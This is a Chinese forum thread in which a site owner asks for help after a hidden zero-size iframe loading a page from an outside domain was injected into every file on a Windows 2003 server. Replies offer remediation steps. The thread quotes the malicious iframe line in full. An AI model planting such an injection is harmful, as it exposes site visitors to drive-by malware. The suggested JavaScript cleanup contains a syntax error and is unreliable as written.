紧急求救,2003系统下,网页被注入代码
我的服务器用的是2003,整个网站下,无论什么文件下面,都加了如下代码
<iframe src=http://www.jzbyl.com/wzy.htm width=0 height=0></iframe>
刚用AVG杀下,下也没看到特别的东西,系统进程中,也没看到,异常都是一些,系统进程,
急呀,在线等,谁能帮我解答下. 怎么都没有人回答? 这个是asp木马啦。如果你的网站可以上传附件的话，对方就可以上传这些。
你在附件上传的地方，做一下扩展名限制吧。
我公司的网站被人黑了几次，后来才发现是这问题。 汗。。 你中的是iframe病毒
iframe是个嵌入页面，可以从该iframe的网站上下载东西，出现这种情况，说明别人已经控制网站的修改权。
通过下面几个方面检查一下：
1、检查网站有没有上传漏洞
2、有没有SQL注入漏洞；
3、有没有密码欺骗登录后台的漏洞；
4、检查有没有木马，可以根据文件创建日期看看，所有的文件夹都要检查；
5、使用较好的杀毒软件扫描一遍。
如果你的是asp+acess网站，一般只需要检查网站的上传漏洞并修复（[url]http://www.cnbruce.com/blog/showlog.asp?cat_id=26&log_id=942[/url]），或到网上找个没有漏洞的。修复注入漏洞。
如果有ewebeditor，按照网上的ewebeditor漏洞作下修补（下载最新版本替换，删除管理页页）。
另一方面把你的后台管理地址更换得复杂些，数据库里的后台用户表更名。
用专门杀网马的工具查一下网马病毒，“雷客图ASP站长安全助手”这个好像不错。google一下。
最后通知下服务器商，因为有可能别人已经拿下了你的站点所在主机系统权限。
做完这些后，你的站应该没多少问题了
使用文本替换工具将里面的<iframe>src=http://***</iframe> 全部清除，加以下代码可杜绝
<script language="javascript">
window.onload = function()
{
var arr = document.getElementsByTagName("IFRAME");
for (var i = 0; i < arr.length; i++0)
{
arr[i].parentNode.removeChild(arr[i]);
}
}
</script> 哇，都是高手，顶下
页:
[1]
